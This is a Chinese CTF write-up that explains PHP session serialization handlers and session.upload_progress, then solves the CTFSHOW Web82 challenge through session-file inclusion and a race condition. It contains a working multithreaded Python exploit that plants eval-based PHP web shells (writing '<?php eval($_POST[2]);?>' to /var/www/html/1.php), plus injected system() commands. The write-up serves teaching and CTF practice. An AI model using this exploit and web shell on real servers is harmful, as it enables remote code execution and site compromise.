March 2, 2023

不要捉弄我新人同学: S

什么是SESSION?

官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要有以下特点:

session保存的位置是在服务器端
session通常是要配合cookie使用
因为HTTP的无状态性,服务端产生了session来标识当前的用户状态

本质上,session就是一种可以维持服务器端的数据存储技术。即session技术就是一种基于后端有别于数据库的临时存储数据的技术

SESSION的工作流程

以PHP为例,理解session的原理
PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
如果Cookie中存在,获取PHPSESSID
如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
初始化超全局变量$_SESSION为一个空数组
PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
不存在该文件: session_start()创建一个PHPSESSID命名文件
程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中
image.png

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器 对应的存储格式
php(默认的) 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

首先来看看默认session.serialize_handler = php时候的序列化结果,代码如下

1
2
3
4
5
6
<?php
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image.png
文件名为sess_mpnnbont606f50eb178na451od,其中mpnnbont606f50eb178na451od就是后续请求头中Cookie携带的PHPSESSID的值
2、文件内容
php处理器存储格式

键名 竖线 经过 serialize() 函数反序列处理的值
$_SESSION[‘name’]的键名:name &#124; s:6:“harden”;

php_binary处理器

使用php_binary处理器(二进制),即session.serialize_handler = php_binary

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
# 为了方便ACSII显示,将键名设置为36个字符长度
$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];
echo $_SESSION['namenamenamenamenamenamenamenamename'];
?>

文件名都一样
image.png

键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
$ namenamenamenamenamenamenamenamename s:6:“harden”;

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image.png
文件内容为反序列化后的数组:a:1:{s:4:”name”;s:6:”harden”;}

小结

以上三种为php序列化的机制,如果一个服务器有2个页面用的是不同的处理器很可能就会出现SESSION反序列化漏洞,这个现在先不谈,我还没做到那里

php中的seesion_upload_progress

php.ini下有这些默认选项

  1. session.upload_progress.enabled = on
  2. session.upload_progress.cleanup = on
  3. session.upload_progress.prefix = “upload_progress_”
  4. session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
  5. session.upload_progress.freq = “1%”
  6. session.upload_progress.min_freq = “1”

prefix+name

当我们POST传入session.upload_progess.name的同名变量(即别称)PHP_SESSION_UPLOAD_PROGRESS时,$_SESSION数组内会新增一个键值对

这里的session.upload_progress.name也就是PHP_SESSION_UPLOAD_PROGRESS的值

案例一

在这我们写一个提交文件的代码:

1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>

这里面可以直接换成 PHP_SESSION_UPLOAD_PROGRESS

这里的123就是PHP_SESSION_UPLOAD_PROGRESS的值
上传后我们$_SESSION数组中就会多出以下的键值对:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length 长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收字节
"done" => false, // true when the POST handler has finished, successfully or not 是否上传完成
"files" => array(//上传的文件
0 => array(
"field_name" => "file1", // Name of the <input/> field input中设定的变量名
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", //文件名
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
)
);

这里的键名”upload_progress_123”,就是由我们上面所说的session.upload_progress.prefix+session.upload_progress.name
其中session.upload_progress.prefix是upload_progress_,session.upload_progress.name是123
这时候session文件的内容里面会有一段

1
a:1:{s:19:"upload_progress_123";........................等等

这里面我们的可控参数就是session.upload_progress.name:123了,我们可以通过修改session.upload_progress.name的值来达到命令执行的目的
这里需要补充一下,写入session文件的是序列化后的内容
总结:

以上这三个都是我们可以控制的值,我们只需要把这三个地方修改成需要执行的代码即可

利用session_upload_progress进行文件包含

原理

原理就和上面讲的一样,session.upload_progess.name给我们提供了注入点
当网页的代码中有文件包含函数require(),require_once(),include(),include_once()时,我们就可以包含文件,执行内部的代码,达到我们的目的

条件竞争

所谓的条件竞争

CTFSHOW——Web82

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这一题一不能使用2个伪协议,二不能使用包含日志文件,这一题考虑条件竞争

如果我们COOKIE传入PHPSESSID=aaaa,那么对应的session文件的名字就是sess_aaaa
所以第一点,文件名称可以控制

方法一:

首先利用一个小脚本去给这个靶场上传一个文件,然后进行抓包,
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://6e62b0ec-d001-4b09-a568-d105c92e3da6.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包:
image.png

可以看到已经有PHP_SESSION_UPLOAD_PROGRESS的值,我们把他的值改为我们要执行的代码,如
再加入一个COOKIE:PHPSESSID=flag
image.png

然后我们再抓一个get类型的包,就是在靶场get传入一个file=1:
image.png
然后把file改成file=/tmp/sess_flag,然后POST和GET同时进行爆破,这边我选了10线程
ps:这边爆破就是随便找个没用的内容,然后往里面爆破字典达到多次跑代码的效果
image.png
image.png
结果:
image.png诺,可以看到已经出来答案了,fl0g.php和index.php就是当前目录的文件

分析一下

我们来看看回显这一段代码:

1
2
3
upload_progress_fl0g.php
index.php
|a:5:{s:10:"start_time";i:1662324411;s:14:"content_length";i:455;s:15:"bytes_processed";i:455;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1662324411;s:15:"bytes_processed";i:455;}}}

看到没,这边就是序列化后的内容,和我们上面说的一样,会给$_SESSION数组带来一个由session.upload_progress.prefix+session.upload_progress.name组成的键名

这边为什么session.upload_progress.name不是system(‘ls’)呢,这是因为system(‘ls’)被执行了,所以它的回显替代了它

结果

用同样的方法,我们把system(‘ls’)改为system(tac fl0g.php),读取flag文件:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Content-Length: 592

upload_progress_$flag="ctfshow{672ea89e-e1b9-40ea-84ff-81babe9d7346}";

*/

# @link: https://ctfer.com
# @email: [email protected]
# @Last Modified time: 2020-09-16 11:25:00
# @Last Modified by: h1xa
# @Date: 2020-09-16 11:24:37
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
|a:5:{s:10:"start_time";i:1662325033;s:14:"content_length";i:462;s:15:"bytes_processed";i:462;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1662325033;s:15:"bytes_processe

还是完全符合上述规则的!

方法二:

这边我们原理还是一样的,只不过是用python脚本去跑一下了,都有注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import io
import threading
url='http://6e62b0ec-d001-4b09-a568-d105c92e3da6.challenge.ctf.show/' #引入url
sessionid='ctfshow' #PHPSESSID的值
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
}
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
while True:
response=requests.post(url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' #将这段代码写入session文件中
},
cookies={
'PHPSESSID':sessionid #同上,PHPSESSID的值
},
files={
'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval
})
response2=session.get(url+'1.php') #获得回显
if response2.status_code==200:
print('++++++perfect+++++')
else:
print(response2.status_code)
if __name__=='__main__':
evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。

image.png出现perfect值的时候就说明已经将内容写入了1.php,这时候直接访问1.php,进行远程rce,这边rce的时候,py脚本一定要保持运行,进行条件竞争:
image.png
得到结果

浅分析

这里利用的思路是在session文件中写入
<?php eval($_POST[1]);?>
然后再POST传递参数1:=file_put_contents(‘/var/www/html/1.php’,’‘);
<?php eval($_POST[2]);?>写入1.php中
最后访问1.php去进行远程RCE,密码就是2
这就是整体的思路

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#入门#新人同学